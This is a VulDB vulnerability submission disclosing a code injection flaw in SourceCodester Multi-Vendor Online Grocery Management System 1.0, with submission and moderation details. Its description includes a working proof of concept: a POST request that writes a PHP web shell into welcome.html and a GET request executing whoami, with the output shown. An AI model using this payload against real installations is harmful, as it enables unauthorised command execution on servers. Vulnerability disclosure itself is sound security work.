Submit #846831: SourceCodester Multi-Vendor Online Grocery Management System 1.0 Code Injectioninfo

TitleSourceCodester Multi-Vendor Online Grocery Management System 1.0 Code Injection
Description A vulnerability was found in SourceCodester Multi-Vendor Online Grocery Management System 1.0. It has been rated as critical. The update_settings_info() function in classes/SystemSettings.php writes POST content[] array values to disk via file_put_contents("../{$k}.html",$v) with no validation on the key or content. The file home.php includes welcome.html via include(), executing any PHP written to it. POST /mvogms/classes/SystemSettings.php?f=update_settings content[welcome]=<?php system($_GET["cmd"]); ?> GET /mvogms/home.php?cmd=whoami → desktop-uhjk9fi\admin
Source⚠️ https://github.com/lee945/cve/issues/2
User
 cHr1s (UID 98736)
Submission06/03/2026 13:54 (1 month ago)
Moderation07/04/2026 06:59 (1 month later)
StatusAccepted
VulDB entry376287 [SourceCodester Multi-Vendor Online Grocery Management System 1.0 Setting SystemSettings.php update_settings_info content[] code injection]
Points20

Do you want to use VulDB in your project?

Use the official API to access entries easily!